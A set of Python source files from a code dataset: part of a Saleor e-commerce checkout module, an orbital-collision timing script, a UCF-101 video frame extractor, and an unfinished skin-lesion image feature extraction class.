line=line,\n                variant=variant,\n                channel_listing=variant_channel_listing,\n                product=product,\n                product_type=product_type,\n                collections=collections,\n            )\n        )\n    if checkout.voucher_code and lines_info:\n        channel_slug = checkout.channel.slug\n        voucher = get_voucher_for_checkout(\n            checkout, channel_slug=channel_slug, with_prefetch=True\n        )\n        if not voucher:\n            # in case when voucher is expired, it will be null so no need to apply any\n            # discount from voucher\n            return lines_info\n        if voucher.type == VoucherType.SPECIFIC_PRODUCT or voucher.apply_once_per_order:\n            discounted_lines_by_voucher: List[CheckoutLineInfo] = []\n            if voucher.apply_once_per_order:\n                discounts = fetch_active_discounts()\n                channel = checkout.channel\n                cheapest_line_price = None\n                cheapest_line = None\n                for line_info in lines_info:\n                    line_price = line_info.variant.get_price(\n                        product=line_info.product,\n                        collections=line_info.collections,\n                        channel=channel,\n                        channel_listing=line_info.channel_listing,\n                        discounts=discounts,\n                    )\n                    if not cheapest_line or cheapest_line_price > line_price:\n                        cheapest_line_price = line_price\n                        cheapest_line = line_info\n                if cheapest_line:\n                    discounted_lines_by_voucher.append(cheapest_line)\n            else:\n                discounted_lines_by_voucher.extend(\n                    get_discounted_lines(lines_info, voucher)\n                )\n            for line_info in lines_info:\n                if line_info in discounted_lines_by_voucher:\n                    line_info.voucher = voucher\n    return lines_info\n\n\ndef fetch_checkout_info(\n    checkout: \"Checkout\",\n    lines: Iterable[CheckoutLineInfo],\n    discounts: Iterable[\"DiscountInfo\"],\n    manager: \"PluginsManager\",\n) -> CheckoutInfo:\n    \"\"\"Fetch checkout as CheckoutInfo object.\"\"\"\n\n    channel = checkout.channel\n    shipping_address = checkout.shipping_address\n    shipping_method = checkout.shipping_method\n    shipping_method_channel_listing = None\n    all_shipping_method_channel_listings = list(\n        ShippingMethodChannelListing.objects.filter(\n            channel=channel,\n        )\n    )\n    if shipping_method:\n        for listing in all_shipping_method_channel_listings:\n            if listing.shipping_method_id == shipping_method.id:\n                shipping_method_channel_listing = listing\n                break\n\n    checkout_info = CheckoutInfo(\n        checkout=checkout,\n        user=checkout.user,\n        channel=channel,\n        billing_address=checkout.billing_address,\n        shipping_address=shipping_address,\n        shipping_method=shipping_method,\n        shipping_method_channel_listings=shipping_method_channel_listing,\n        valid_shipping_methods=[],\n    )\n    checkout_info.valid_shipping_methods = SimpleLazyObject(\n        lambda: get_valid_shipping_method_list_for_checkout_info(\n            checkout_info,\n            shipping_address,\n            lines,\n            discounts,\n            manager,\n            all_shipping_method_channel_listings,\n        )\n    )  # type: ignore\n    return checkout_info\n\n\ndef update_checkout_info_shipping_address(\n    checkout_info: CheckoutInfo,\n    address: Optional[\"Address\"],\n    lines: Iterable[CheckoutLineInfo],\n    discounts: Iterable[\"DiscountInfo\"],\n    manager: \"PluginsManager\",\n):\n    checkout_info.shipping_address = address\n    valid_methods = get_valid_shipping_method_list_for_checkout_info(\n        checkout_info, address, lines, discounts, manager\n    )\n    checkout_info.valid_shipping_methods = valid_methods\n\n\ndef get_valid_shipping_method_list_for_checkout_info(\n    checkout_info: \"CheckoutInfo\",\n    shipping_address: Optional[\"Address\"],\n    lines: Iterable[CheckoutLineInfo],\n    discounts: Iterable[\"DiscountInfo\"],\n    manager: \"PluginsManager\",\n    channel_listings: Optional[List[\"ShippingMethodChannelListing\"]] = None,\n):\n    from .utils import get_valid_shipping_methods_for_checkout\n\n    if channel_listings is None:\n        channel_listings = list(\n            ShippingMethodChannelListing.objects.filter(channel=checkout_info.channel)\n        )\n\n    country_code = shipping_address.country.code if shipping_address else None\n    subtotal = manager.calculate_checkout_subtotal(\n        checkout_info, lines, checkout_info.shipping_address, discounts\n    )\n    subtotal -= checkout_info.checkout.discount\n    checkout = checkout_info.checkout\n\n    valid_shipping_methods = (\n        get_valid_shipping_methods_for_checkout(\n            checkout_info, lines, subtotal, country_code=country_code\n        )\n        or []\n    )\n    annotate_shipping_methods_with_price(\n        valid_shipping_methods,\n        channel_listings,\n        checkout_info.shipping_address,\n        checkout_info.channel.slug,\n        manager,\n    )\n    shipping_method_dataclasses = [\n        convert_shipping_method_model_to_dataclass(shipping)\n        for shipping in valid_shipping_methods\n    ]\n    excluded_shipping_methods = manager.excluded_shipping_methods_for_checkout(\n        checkout, shipping_method_dataclasses\n    )\n    annotate_active_shipping_methods(\n        valid_shipping_methods,\n        excluded_shipping_methods,\n    )\n\n    return [method for method in valid_shipping_methods if method.active]\n\n\ndef update_checkout_info_shipping_method(\n    checkout_info: CheckoutInfo, shipping_method: Optional[\"ShippingMethod\"]\n):\n    checkout_info.shipping_method = shipping_method\n    checkout_info.shipping_method_channel_listings = (\n        (\n            ShippingMethodChannelListing.objects.filter(\n                shipping_method=shipping_method, channel=checkout_info.channel\n            ).first()\n        )\n        if shipping_method\n        else None\n    )\n","repo_name":"TGalioAutomation/web-saleor","sub_path":"saleor/checkout/fetch.py","file_name":"fetch.py","file_ext":"py","file_size_in_byte":9175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"35485848243","text":"from Functions import *\n'''\nau = 149597871e3\nG = 6.67408e-11\nMstar = 1.2e30\n'''\n\n#(a1,e1)=orbitalvalues(3)\n#(a2,e2)=orbitalvalues(10)\n#a1=0.999*a1\n\n#Values\n'''\na1 = 2.5 * au\ne1 = 0.998\na2 = 2.4 * au\ne2 = 0.997\n'''\n\n#I=1* ((2 * pi) / 360)\n#Rbeam=100e3\n\ndef TPrecess(a,e):\n    Tp=0.15*((1-(e**2.))/(1-(0.999**2.)))*((a/au)**2.5)*(10**6.) #in Yrs\n    wp = (2 * np.pi) / Tp\n    return (Tp,wp)\n\n\n\n\ndef RcolwoATcontact(a1,e1,a2,e2,s1,s2,x,I1,I2,Rbeam):\n    (Tp1, wp1) = TPrecess(a1, e1)\n    (Tp2, wp2) = TPrecess(a2, e2)\n    CollisionData=CollisionPoints(a1,e1,s1,a2,e2,s2)\n    if x == 'a':\n        R = CollisionData[1, 0]\n        C = CollisionData[0, 0]\n    elif x == 'b':\n        R = CollisionData[1, 1]\n        C = CollisionData[0, 1]\n\n    if R==0:\n        RColwoA=0\n        Tcontact=0\n        #print('no contact')\n\n    else:\n        td1=thetadot(a1,e1,C-s1)\n        rd1=rdot(a1,e1,C-s1)\n        V1=np.array([rd1,R*td1*cos(I1),R*td1*sin(I1)])\n        v1=np.sqrt((rd1**2.)+((R*td1)**2.))\n        td2 = thetadot(a2, e2, C - s2)\n        rd2 = rdot(a2, e2, C - s2)\n        V2 = np.array([rd2, R * td2 * cos(I2), R * td2 * sin(I2)])\n        v2 = np.sqrt((rd2 ** 2.) + ((R * td2) ** 2.))\n        Vrelpar=V1-V2\n        vrelpar=npal.norm(Vrelpar)\n        gammangle=np.arccos(np.vdot(V1,V2)/(v1*v2))\n\n\n        T1 = 2 * pi * np.sqrt((a1 ** 3.) / (G * Mstar))  # Orbital Period\n        T2 = 2 * pi * np.sqrt((a2 ** 3.) / (G * Mstar))\n\n        sinval=abs(sin(gammangle))\n        '''\n        if (16*abs((rd1/td1)-(rd2/td2)))/(3*pi*R)>sinval:\n            sinval=(16*abs((rd1/td1)-(rd2/td2)))/(3*pi*R)\n            print('sinval',sinval)\n            print('lambda=',(s1-s2)%(2*pi))\n        '''\n\n\n\n        RColwoA=(16 / (3 * pi)) * (1 / (T1 * T2)) * ((vrelpar )/ (sinval*v1 * v2 ))*(year/Rbeam)  #\n\n        Tcontact=abs((4*Rbeam*np.linalg.norm(np.cross(V1, V2)))/(((R** 2.) * td1 * td2 * abs(sin(I2-I1)))*(((wp1) * (rd1 / td1)) - (wp2) * (rd2 / td2))))\n\n\n    return [RColwoA,Tcontact]\n\n\n\ndef RcolwoATcontactSecondOrder(a1,e1,a2,e2,s1,s2,x,I1,I2,Rbeam):\n    (Tp1, wp1) = TPrecess(a1, e1)\n    (Tp2, wp2) = TPrecess(a2, e2)\n    CollisionData=CollisionPoints(a1,e1,s1,a2,e2,s2)\n    if x == 'a':\n        R = CollisionData[1, 0]\n        C = CollisionData[0, 0]\n    elif x == 'b':\n        R = CollisionData[1, 1]\n        C = CollisionData[0, 1]\n    else:\n        print('Error, no point selected')\n        R=0\n    if R==0:\n        #print('no  contact error')\n        RColwoA=0\n        Tcontact=0\n    else:\n        td1=thetadot(a1,e1,C-s1)\n        rd1=rdot(a1,e1,C-s1)\n        V1=np.array([rd1,R*td1*cos(I1),R*td1*sin(I1)])\n        v1=np.sqrt((rd1**2.)+((R*td1)**2.))\n        td2 = thetadot(a2, e2, C - s2)\n        rd2 = rdot(a2, e2, C - s2)\n        V2 = np.array([rd2, R * td2 * cos(I2), R * td2 * sin(I2)])\n        v2 = np.sqrt((rd2 ** 2.) + ((R * td2) ** 2.))\n        Vrelpar=V1-V2\n        vrelpar=npal.norm(Vrelpar)\n        gammangle=np.arccos(np.vdot(V1,V2)/(v1*v2))\n\n\n        T1 = 2 * pi * np.sqrt((a1 ** 3.) / (G * Mstar))  # Orbital Period\n        T2 = 2 * pi * np.sqrt((a2 ** 3.) / (G * Mstar))\n\n        sinval=abs(sin(gammangle))\n        '''\n        if (16*abs((rd1/td1)-(rd2/td2)))/(3*pi*R)>sinval:\n            sinval=(16*abs((rd1/td1)-(rd2/td2)))/(3*pi*R)\n            print('sinval',sinval)\n            print('lambda=',(s1-s2)%(2*pi))\n        '''\n\n\n\n        RColwoA=(16 / (3 * pi)) * (1 / (T1 * T2)) * ((vrelpar )/ (sinval*v1 * v2 ))*(year/Rbeam)  #\n\n\n\n        dr=((2*Rbeam)*np.linalg.norm(np.cross(V1, V2)))/((R** 2.) * td1 * td2 * abs(sin(I2-I1)))\n        Alpha=(wp1 * (rd1 / td1)) - (wp2 * (rd2 / td2))\n        Beta=abs(((((wp1 * (rd1 / td1))**2.) - ((wp2 * (rd2 / td2))**2.))/R)+((R/2)*((wp1**2.)-(wp2**2.)))-(((R**2.)/2)*((((wp1**2.)/(a1*(1-(e1**2.))))-((wp2**2.)/(a2*(1-(e2**2.))))))))\n        Tcontact = (np.sqrt((Alpha ** 2.) + (4 * Beta * dr)) - np.sqrt((Alpha ** 2.) - (4 * Beta * dr))) / (2*Beta)\n\n\n    return [RColwoA,Tcontact]\n\n\ndef TcontactSearchMethod(a1,e1,a2,e2,s1i,s2i,x,I1,I2,Rbeam):\n\n    CollisionData=CollisionPoints(a1,e1,s1i,a2,e2,s2i)\n    if x == 'a':\n        R = CollisionData[1, 0]\n        C = CollisionData[0, 0]\n    elif x == 'b':\n        R = CollisionData[1, 1]\n        C = CollisionData[0, 1]\n    else:\n        print('Error, no point selected')\n        R=0\n    if R==0:\n        #print('no  contact error')\n        RColwoA=0\n        Tcontact=0\n        dr=0\n\n    else:\n        td1=thetadot(a1,e1,C-s1i)\n        rd1=rdot(a1,e1,C-s1i)\n        V1=np.array([rd1,R*td1*cos(I1),R*td1*sin(I1)])\n        td2 = thetadot(a2, e2, C - s2i)\n        rd2 = rdot(a2, e2, C - s2i)\n        V2 = np.array([rd2, R * td2 * cos(I2), R * td2 * sin(I2)])\n        dr = ((2 * Rbeam) * np.linalg.norm(np.cross(V1, V2))) / ((R ** 2.) * td1 * td2 * abs(sin(I2 - I1)))\n        tinterval=0.5\n\n        (Tp1, wp1) = TPrecess(a1, e1)\n        (Tp2, wp2) = TPrecess(a2, e2)\n        # up loop\n        dr = [((2 * Rbeam) * np.linalg.norm(np.cross(V1, V2))) / ((R ** 2.) * td1 * td2 * abs(sin(I2 - I1))),0]\n        dRplus=[0,0]\n        y=0\n        tplus=0\n        while abs(dRplus[y])<dr[y]:\n            tplus += tinterval\n            y=(y+1)%2\n            dRplus[y] = npr(a1, e1, C - s1i - (wp1 * tplus)) - npr(a2, e2, C - s2i - (\n        wp2 * tplus))  # changed from plue to minus!\n            td1 = thetadot(a1, e1, C - s1i - (wp1 * tplus))\n            rd1 = rdot(a1, e1, C - s1i - (wp1 * tplus))\n            V1 = np.array([rd1, R * td1 * cos(I1), R * td1 * sin(I1)])\n            td2 = thetadot(a2, e2, C - s2i - (\n        wp2 * tplus))\n            rd2 = rdot(a2, e2, C - s2i - (\n        wp2 * tplus))\n            V2 = np.array([rd2, R * td2 * cos(I2), R * td2 * sin(I2)])\n\n            dr[y] = ((2 * Rbeam) * np.linalg.norm(np.cross(V1, V2))) / ((R ** 2.) * td1 * td2 * abs(sin(I2 - I1)))\n        if abs(abs(dRplus[y])-dr[y])>abs(abs(dRplus[(y+1)%2])-dr[(y+1)%2]): #if the previous was closer, go back\n            tplus-=tinterval\n\n        dRminus = [0, 0]\n        dr = [((2 * Rbeam) * np.linalg.norm(np.cross(V1, V2))) / ((R ** 2.) * td1 * td2 * abs(sin(I2 - I1))), 0]\n        y = 0\n        tminus = 0\n        while abs(dRminus[y]) < dr[y]:\n            tminus -= tinterval\n            y = (y + 1) % 2\n            dRminus[y] = npr(a1, e1, C - s1i - (wp1 * tminus)) - npr(a2, e2, C - s2i - (\n                wp2 * tminus))\n            td1 = thetadot(a1, e1, C - s1i - (wp1 * tminus))\n            rd1 = rdot(a1, e1, C - s1i - (wp1 * tminus))\n            V1 = np.array([rd1, R * td1 * cos(I1), R * td1 * sin(I1)])\n            td2 = thetadot(a2, e2, C - s2i - (\n                wp2 * tminus))\n            rd2 = rdot(a2, e2, C - s2i - (\n                wp2 * tminus))\n            V2 = np.array([rd2, R * td2 * cos(I2), R * td2 * sin(I2)])\n\n            dr[y] = ((2 * Rbeam) * np.linalg.norm(np.cross(V1, V2))) / ((R ** 2.) * td1 * td2 * abs(sin(I2 - I1)))\n        if abs(abs(dRminus[y]) - dr[y]) > abs(\n                        abs(dRminus[(y + 1) % 2]) - dr[(y + 1) % 2]):  # if the previous was closer, go back\n            tminus += tinterval\n        '''\n        dRminus = 0\n        tminus = 0\n        dr = ((2 * Rbeam) * np.linalg.norm(np.cross(V1, V2))) / ((R ** 2.) * td1 * td2 * abs(sin(I2 - I1)))\n        while abs(dRminus) < dr:\n            tminus -= tinterval\n            dRminus = npr(a1, e1, C- s1i - (wp1 * tminus)) - npr(a2, e2, C - s2i - (\n                wp2 * tminus))  # changed from plue to minus!\n            td1 = thetadot(a1, e1, C - s1i - (wp1 * tplus))\n            rd1 = rdot(a1, e1, C - s1i - (wp1 * tplus))\n            V1 = np.array([rd1, R * td1 * cos(I1), R * td1 * sin(I1)])\n            td2 = thetadot(a2, e2, C - s2i - (\n                wp2 * tplus))\n            rd2 = rdot(a2, e2, C - s2i - (\n                wp2 * tplus))\n            V2 = np.array([rd2, R * td2 * cos(I2), R * td2 * sin(I2)])\n\n            dr = ((2 * Rbeam) * np.linalg.norm(np.cross(V1, V2))) / ((R ** 2.) * td1 * td2 * abs(sin(I2 - I1)))\n        '''\n\n\n        #print(tplus)\n        #print(tminus)\n        Tcontact=abs(tplus-tminus)\n        dr = ((2 * Rbeam) * np.linalg.norm(np.cross(V1, V2))) / ((R ** 2.) * td1 * td2 * abs(sin(I2 - I1)))\n\n\n    return [Tcontact,dr]\n\n\ndef TorGraph():\n    N=int(1000)\n    s1=0\n    s2=np.linspace(0,2*pi,N)\n    Data=np.zeros((3,N))#Rcol,Tcont,tor\n    for i in range(1,N):\n        [Data[0,i],Data[1,i]]=RcolwoATcontact(0,s2[i],'b')\n        Data[2,i]=Data[0,i]*Data[1,i]*1e17\n\n    plt.figure()\n    plt.semilogy(s2[1:N-1],Data[0,1:N-1],label='Rcol')\n    plt.xlabel('Lambda')\n    plt.ylabel('Rcol')\n\n    plt.figure()\n    plt.semilogy(s2[1:N-1], Data[1, 1:N-1], label='Tcontact')\n    plt.xlabel('Lambda')\n    plt.ylabel('Tcontact, yrs')\n\n    plt.figure()\n    plt.semilogy(s2[1:N-1], Data[2, 1:N-1], label='Tor x 10^17')\n    plt.xlabel('Lambda')\n    plt.ylabel('Tor')\n    return\n\ndef lambdatimeaverage(N):\n    N=int(N)\n    #N = int(1000)\n    s1 = 0\n    s2 = np.linspace(0, 2 * pi, N)\n    Data = np.zeros((3, N))  # Rcol,Tcont,tor\n    LambAv=0\n    for i in range(1, N):\n        [Data[0, i], Data[1, i]] = RcolwoATcontact(0, s2[i], 'b')\n        Data[2, i] = Data[0, i] * Data[1, i]\n        LambAv +=Data[2, i]\n        [Data[0, i], Data[1, i]] = RcolwoATcontact(0, s2[i], 'a')\n        Data[2, i] = Data[0, i] * Data[1, i]\n        LambAv+=Data[2,i]\n\n    Tpmin=min(Tp1,Tp2)\n    LambAv = (LambAv / (2 * N))*(4/Tpmin)\n    print(LambAv)\n\n    return LambAv\n\ndef TcontactGraphs(N,rs1,rs2,pmod):\n    N=int(N)\n    Rbeam=100*1e3\n    I1=0\n    I2=10*(pi/180)\n\n    (a1, e1) = orbitalvalues(rs1)\n    (a2, e2) = orbitalvaluesmod(rs2, pmod)\n\n\n\n    (Tp1, wp1) = TPrecess(a1, e1)\n    (Tp2, wp2) = TPrecess(a2, e2)\n\n    L = np.linspace(0, 2 * pi, N)  # NOTE CHECK L def!! + or - #s1-s2\n    R = np.zeros((2, N))  # radial collision points\n    C = np.zeros((2, N))  # theta collision point\n    AB = ['a', 'b']\n    # s\n\n    for i in range(1, N):\n        [[C[0, i], C[1, i]], [R[0, i], R[1, i]]] = CollisionPoints(a1, e1, 0, a2, e2, L[i])\n\n    Rdot1 = rdot(a1, e1, C[:, :])\n    Thetadot1 = thetadot(a1, e1, C[:, :])\n    Rdot2 = rdot(a2, e2, C[:, :] - L)\n    Thetadot2 = thetadot(a2, e2, C[:, :] - L)\n    Vinc1 = np.zeros((2, 3, N))\n    Vinc2 = np.zeros((2, 3, N))\n    vrelpar = np.zeros((2, N))\n\n\n\n    Tcontact= np.zeros((2, N))\n    TcontactSecond = np.zeros((2, N))\n    TcontSearch= np.zeros((2, N))\n    Rcol= np.zeros((2, N))\n    ProblemValue=np.zeros((2, N))\n    dr=np.zeros((2, N))\n    print('Calculating times...')\n    for i in range(1, N - 1):\n        #print(i,'/',N-2)\n        for x in (0, 1):\n            #MinTpr[x,i] = TPrAnalytic(OrbitdataVdata[x, 0, i], OrbitdataVdata[x, 1, i])  #Min\n\n            #MaxTpr[x,i] = MinTpr[x,i] * dflr[x, i]*rfrag  #Max\n            [Rcol[x,i],Tcontact[x,i]]=RcolwoATcontact(a1,e1,a2,e2,0,L[i],AB[x],I1,I2,Rbeam)\n\n\n            TcontactSecond[x, i] = RcolwoATcontactSecondOrder(a1, e1, a2, e2, 0, L[i], AB[x], I1, I2, Rbeam)[1]\n            ProblemValue[x,i]=((Rdot1[x,i]/Thetadot1[x,i])*wp1)-((Rdot2[x,i]/Thetadot2[x,i])*wp2)\n            [TcontSearch[x,i],dr[x,i]]=TcontactSearchMethod(a1, e1, a2, e2, 0, L[i], AB[x], I1, I2, Rbeam)\n\n    print('plotting')\n    for x in (0, 1):\n        plt.figure()\n        plt.title('Times at %s pts, rsource1=%s au, rsource2=%s au with pmod=%s' % (AB[x], rs1, rs2, pmod))\n        plt.semilogy(L[1:N - 1] / pi, Tcontact[x, 1:N - 1], label='Contact time')\n        plt.semilogy(L[1:N - 1] / pi, TcontactSecond[x, 1:N - 1], label='Second Order Contact time')\n        plt.semilogy(L[1:N - 1] / pi, TcontSearch[x, 1:N - 1], label='Searched Tcont')\n        plt.ylabel('Times, yrs')\n        plt.xlabel('Lambda')\n        plt.legend()\n    '''\n    plt.figure()\n    plt.title('dr at %s pts, rsource1=%s au, rsource2=%s au with pmod=%s' % (AB[x], rs1, rs2, pmod))\n    plt.semilogy(L[1:N - 1] / pi, dr[x, 1:N - 1], label='dr')\n    plt.ylabel('dr, distance')\n    plt.xlabel('Lambda')\n    plt.legend()\n\n    plt.figure()\n    plt.title('ProbValue at %s pts, rsource1=%s au, rsource2=%s au with pmod=%s' % (AB[x], rs1, rs2, pmod))\n    plt.semilogy(L[1:N - 1] / pi, abs(ProblemValue[x, 1:N - 1]), label='Prob Value')\n    '''\n\n    return\n\n\n\n\n#COMMANDS\n#[RColwoA,Tcontact]=RcolwoATcontact(0,3,'a')\n#print([RColwoA,Tcontact])\n#TorGraph()\n#lambdatimeaverage(1e4)\n\nTcontactGraphs(1e3,10,3,0.9)\nplt.show(), print('plotted')\n\n#3,10,0.9","repo_name":"TomMCallingham/SpaggetiAstro","sub_path":"Summer/Evolution/RcolTContact.py","file_name":"RcolTContact.py","file_ext":"py","file_size_in_byte":12249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"41389419084","text":"import cv2      # for capturing videos\nimport numpy as np      # efficient array operations\nimport pandas as pd\nimport gzip     # efficient compression of numpy arrays     \nfrom tqdm import tqdm\nimport os\n\ndef SaveVideoFrames(video_path, frames_array, f=10, max_frames=10, resize=(224, 224)):\n    \"\"\"\n    Extract frames from video file with certain frequency.\n\n    Parameters\n    ----------\n    video_path : str\n        Path of the video file to be extracted.\n    frame_array_path : str\n        Path to store the NumPy array of frames of the video file to.\n    f : int\n        Intervals at which the frames are to be extracted (default=10).\n    max_frames : int\n        The maximum no. of frames to be extracted.\n    resize : tuple of pair of int\n        The size to which frames should be resized\n    \"\"\"\n\n    count = 0\n    frames = []\n    zero_frame = np.zeros(shape=(resize[0], resize[1], 3))\n    try:\n        vidObj = cv2.VideoCapture(video_path)\n        while len(frames) < max_frames:\n            success, frame = vidObj.read()\n            if success == False:\n                while len(frames) < max_frames:\n                    frames.append(zero_frame)\n                break\n            count += 1\n            if count%f > 0:\n                continue\n            frame = cv2.resize(frame, resize)\n            frame = frame[:, :, [2, 1, 0]]\n            frames.append(frame)\n        vidObj.release()\n        f = gzip.GzipFile(frames_array + \".npy.gz\", \"w\")\n        np.save(f, np.array(frames))\n        f.close()\n    except:\n        print(\"Extraction of \" + video_path + \" failed.\")\n\nvideos_path = \"./UCF-101\"\nannotations_path = \"./ucfTrainTestlist\"\n\nframes_path = \"./preprocessed\"\nos.makedirs(frames_path, exist_ok=True)\nprint(\"\\nFrames of video file will be extracted to: \" + frames_path)\n\nwith open(os.path.join(annotations_path, \"trainlist01.txt\")) as f:\n    lines = f.readlines()\n    train_df = [l.strip('\\n').split(maxsplit=1) for l in lines]\ntrain_df = pd.DataFrame(train_df, columns=[\"path\", \"label\"])\n\nprint(\"\\nExtracting frames from video files in train set...\\n\")\nfor idx in tqdm(range(len(train_df))):\n    video = os.path.join(videos_path, train_df.iloc[idx][\"path\"])\n    frames_array = os.path.join(frames_path, video.split('/')[-1].split('.avi')[0])\n    SaveVideoFrames(video, frames_array, f=5, max_frames=10, resize=(224, 224))\nprint(\"\\nFrame extraction of train set complete!\")\n\ntrain_df['path'] = train_df['path'].apply(lambda x: os.path.join(frames_path, x.split('/')[-1].split('.avi')[0]+'.npy.gz'))\ntrain_df_path = \"./train.csv\"\ntrain_df.to_csv(train_df_path, index=False)\nprint(\"\\nTraining DataFrame saved as: \" + train_df_path)","repo_name":"mvedang/COMS-E6998-Project-Fall-2021","sub_path":"preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":2655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"10276193048","text":"# -*- coding: utf-8 -*-\n\"\"\"\nISM Project Part 1: features.py\n\nCreated on Mon Dez 3 10:49:12 2018\n\n@author: Sabljak\n\"\"\"\nimport numpy as np\nimport cv2\nimport os\nimport pandas as pd\nfrom PIL import Image, ImageOps\nfrom skimage import feature, img_as_ubyte, color\nfrom sklearn.feature_selection import SelectKBest, chi2\nfrom sklearn.preprocessing import MinMaxScaler, scale\nfrom sklearn.svm import LinearSVC\nfrom sklearn.feature_selection import SelectFromModel\n\n\nclass Features:\n\n    \"\"\"Feature Extraction, Selection and Preparation\"\"\"\n    def __init__(self, im_path, data_path, dev_set_path, feature_path=None, test_set=False):\n        self.im_path = im_path\n        self.data_path = data_path\n        self.feature_path = feature_path\n        self.dev_set_path = dev_set_path\n        self.test_set = test_set\n        self.img = []\n        self.im2 = []\n        self.data = []\n        self.class_names = ['mel', 'nv', 'bcc', 'akiec', 'bkl', 'df', 'vasc']\n        self.classes = []\n        self.train_classes = []\n        self.dev_classes = []\n        self.feature_names = []\n        self.features = []\n        self.train_features = []\n        self.dev_features = []\n        self.test_data = []\n        self.test_features = []\n\n    def load_data(self):\n        # Feature Extraction of Test Data\n        if self.test_set is True and self.feature_path is None:\n            # get names of test images\n            data = sorted([os.path.splitext(f)[0] for f in os.listdir(self.im_path) if not f.startswith('.')])\n            self.data = pd.DataFrame(data, columns=['image_id'])\n            # open images, equalize histogram, then save to list of numpy arrays\n            for i in range(0, self.data.shape[0]):\n                im = Image.open(self.im_path + self.data.image_id[i] + '.jpg')\n                im.load()\n                # im_hist = ImageOps.equalize(im)\n                # append to list\n                # TODO: rechange\n                self.img.append(np.asarray(im))\n\n            self.features = pd.DataFrame(index=range(self.data.__len__()))\n\n        # Feature Extraction of Training Data\n        else:\n            self.data = pd.read_csv(self.data_path)\n            self.classes = self.data.dx\n\n            if self.feature_path is None:\n                # open images, equalize histogram, then save to list of numpy arrays\n                for i in range(0, self.data.shape[0]):\n                    im = Image.open(self.im_path + self.data.image_id[i] + '.jpg')\n                    im.load()\n                    im_hist = ImageOps.equalize(im)\n                    # append to list\n                    self.img.append(np.asarray(im_hist))\n\n                self.features = self.data.drop(['lesion_id', 'image_id', 'dx', 'dx_type', 'age', 'sex', 'localization'],\n                                               axis=1)\n\n            else:\n                self.features = pd.read_csv(self.feature_path)\n                self.test_data = pd.DataFrame(sorted([os.path.splitext(f)[0] for f in os.listdir(self.im_path)\n                                                      if not f.startswith('.')]), columns=['image_id'])\n                self.test_features = pd.read_csv(self.test_set)\n\n    \"\"\"Legendre Moments\"\"\"\n    def lp(self, n, x):\n        if n == 0:\n            return 1\n        elif n == 1:\n            return x\n        else:\n            return ((2*n-1)*x*self.lp(n-1, x) - (n-1)*self.lp(n-2, x)) / n\n\n    def beta(self, img, m, n):\n        return (2 * m + 1) * (2 * n + 1) / (img.shape[0] * img.shape[1])\n\n    def xcoord(self, img, i):\n        return ((2*i)/(img.shape[1]-1)) - 1\n\n    def ycoord(self, img, j):\n        return ((2*j)/(img.shape[0]-1)) - 1\n\n    def legendre_moment(self, img, m, n):\n        s = 0\n        for y in range(img.shape[0]):\n            for x in range(img.shape[1]):\n                s += self.lp(n, self.ycoord(img, y)) * self.lp(m, self.xcoord(img, x)) * img[y, x]\n        return self.beta(img, m, n) * s\n\n    # moments for each colour channel\n    def legendre_moments(self):\n        # initialise feature vector\n        for colour in \"RGB\":\n            for p in range(3):\n                for q in range(3):\n                    self.features['Moment_{0}_L{1}{2}'.format(colour, p, q)] = 'default'\n        for i in range(0, self.data.shape[0]):\n            im_id = self.data['image_id'][i]\n            for p in range(3):\n                for q in range(3):\n                    m = self.legendre_moment(self.img[i], p, q)\n                    self.features.loc[self.data['image_id'] == im_id, ['Moment_R_L{0}{1}'.format(p, q)]] = m[0]\n                    self.features.loc[self.data['image_id'] == im_id, ['Moment_G_L{0}{1}'.format(p, q)]] = m[1]\n                    self.features.loc[self.data['image_id'] == im_id, ['Moment_B_L{0}{1}'.format(p, q)]] = m[2]\n                print(m)\n            self.features.to_csv('features.csv', index=False)\n\n    # moments of black-white images\n    def legendre_moments_bw(self):\n        for p in range(3):\n            for q in range(3):\n                self.features['Moment_L{0}{1}'.format(p, q)] = 'default'\n        for i in range(0, self.data.shape[0]):\n            im_id = self.data['image_id'][i]\n            for p in range(3):\n                for q in range(3):\n                    self.features.loc[self.data['image_id'] == im_id, ['Moment_L{0}{1}'.format(p, q)]] = \\\n                        self.legendre_moment(color.rgb2grey(self.img[i]), p, q)\n            # self.features.to_csv('features.csv', index=False)\n\n    \"\"\"textures\"\"\"\n    def textures(self):\n        self.features['contrast'] = 'default'\n        self.features['dissimilarity'] = 'default'\n        self.features['homogeneity'] = 'default'\n        self.features['energy'] = 'default'\n        self.features['correlation'] = 'default'\n\n        for i in range(0, self.data.shape[0]):\n            im_id = self.data['image_id'][i]\n\n            grey_co_mat = feature.greycomatrix(img_as_ubyte(color.rgb2grey(self.img[i])), [2], [0], 256, symmetric=True,\n                                               normed=True)\n\n            self.features.loc[self.data['image_id'] == im_id, ['contrast']] = \\\n                feature.greycoprops(grey_co_mat, prop='contrast')\n            self.features.loc[self.data['image_id'] == im_id, ['dissimilarity']] = \\\n                feature.greycoprops(grey_co_mat, prop='dissimilarity')\n            self.features.loc[self.data['image_id'] == im_id, ['homogeneity']] = \\\n                feature.greycoprops(grey_co_mat, prop='homogeneity')\n            self.features.loc[self.data['image_id'] == im_id, ['energy']] = \\\n                feature.greycoprops(grey_co_mat, prop='energy')\n            self.features.loc[self.data['image_id'] == im_id, ['correlation']] = \\\n                feature.greycoprops(grey_co_mat, prop='correlation')\n        self.features.to_csv('features.csv', index=False)\n\n    \"\"\"average colour\"\"\"\n    def avr_colour(self):\n        self.features['average_red'] = 'default'\n        self.features['average_green'] = 'default'\n        self.features['average_blue'] = 'default'\n\n        for i in range(0, self.data.shape[0]):\n            im_id = self.data['image_id'][i]\n\n            # add average color information to dataframe\n            average = self.img[i].mean(axis=0).mean(axis=0)\n\n            self.features.loc[self.data['image_id'] == im_id, ['average_red']] = average[0]\n            self.features.loc[self.data['image_id'] == im_id, ['average_green']] = average[1]\n            self.features.loc[self.data['image_id'] == im_id, ['average_blue']] = average[2]\n        self.features.to_csv('features.csv', index=False)\n\n    \"\"\"histogram of oriented gradients\"\"\"\n    def hist_grad(self):\n        self.features['histo_grad'] = 'default'\n        hog = []\n        for i in range(0, self.data.shape[0]):\n            feature.hog(image, orientations=8, pixels_per_cell=(ppc, ppc), cells_per_block=(4, 4), block_norm='L2',\n                visualise=True)\n            